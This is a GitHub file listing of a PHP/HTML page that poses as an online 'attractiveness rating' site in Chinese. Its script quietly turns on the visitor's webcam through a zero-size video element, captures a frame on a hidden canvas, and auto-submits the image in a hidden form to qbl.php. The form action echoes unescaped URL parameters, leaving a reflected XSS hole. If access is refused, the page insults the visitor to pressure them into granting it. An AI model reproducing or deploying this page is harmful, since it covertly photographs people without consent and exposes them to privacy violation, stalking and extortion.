-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.php
More file actions
35 lines (30 loc) · 1.46 KB
/
index.php
File metadata and controls
35 lines (30 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<html>
<head>
<meta charset="UTF-8">
<title>在线颜值评测...请给权限...</title>
</head>
<video id="video" width="0" height="0" autoplay></video>
<canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
<script type="text/javascript">
window.addEventListener("DOMContentLoaded", function() {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
var video = document.getElementById('video');
if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
document.getElementById('result').value = img;
document.getElementById('gopo').submit();
},1300);
},function(){alert("没权限看个毛线,重新进给权限!");});
}
}, false);
</script>
<form action="qbl.php?id=<?php echo $_GET['id']?>&url=<?php echo $_GET['url']?>" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />
</body>
</html>